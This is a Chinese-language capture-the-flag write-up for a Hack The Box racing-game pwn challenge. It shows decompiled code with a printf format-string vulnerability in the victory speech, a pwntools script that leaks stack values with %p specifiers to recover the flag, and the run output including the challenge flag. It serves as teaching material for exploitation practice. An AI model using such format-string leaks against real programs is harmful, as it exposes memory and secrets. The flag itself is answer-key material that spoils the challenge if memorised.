首先這題是保護全開,然後我們先跑個幾次測試之後就可以得到資訊是前面的 Name 跟 Nickname 不重要,然後我們選第一台車跑第二張圖,或是第二台車跑第一張圖就可以比較容易贏得遊戲。遊戲勝利後他會去打開 flag.txt 所以我們需要先隨便設定一個 flag.txt,但是他只會打開不會輸出出來,丟進去 ida 後就會看到這邊在最後得獎感言的部分有一個 printf 的 format string 洞如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
if ( car_choice == 1 && (result = v9, v9 < v11) || car_choice == 2 && (result = v9, v9 > v11) ) { printf("%s\n\n[+] You won the race!! You get 100 coins!\n", "\x1B[1;32m"); coins += 100; printf("[+] Current coins: [%d]%s\n", coins); printf("\n[!] Do you have anything to say to the press after your big victory?\n> %s", "\x1B[0m"); speech = malloc(369); flag_file = fopen("flag.txt", "r"); if ( !flag_file ) { printf("%s[-] Could not open flag.txt. Please contact the creator.\n", "\x1B[1;31m"); exit(105, v5, "\x1B[1;36m", v7); } fgets(flag, 44, flag_file); read(0, speech, 368); puts("\n\x1B[3mThe Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this: \x1B[0m"); returnprintf(speech, v6); }
Exploitation
所以我們可以透過 format string 印出 flag.txt 的內容,然後我們可以先透過 gdb 來看 flag 的位置然後寫出我們的 exploit 來幫我們解出 flag。
p = "@" for i inrange(12, 25): p += "%{}$p".format(i) p += "#" r.sendlineafter(b"Name:", "") r.sendlineafter(b"Nickname:", "") r.sendlineafter(b">", "2") r.sendlineafter(b">", "2") r.sendlineafter(b">", "1") r.sendlineafter(b">", p)
r.recvuntil("@") s = r.recvuntil(b"#").strip(b"#")
flag = "" for ss in s.split(b"0x"): if ss == "": break tmp = "" for i inrange(len(ss) // 2): tmp += chr(int(ss[i * 2 : i * 2 + 2], 16)) flag += tmp[::-1] print(flag) r.interactive()
執行結果:
1 2 3 4 5 6 7
└─$ python exploit.py [+] Opening connection to 94.237.48.79 on port 54556: Done HTB{why_d1d_1_s4v3_th3_fl4g_0n_th3_5t4ck?!}\x00e.7üCú÷ [*] Switching to interactive mode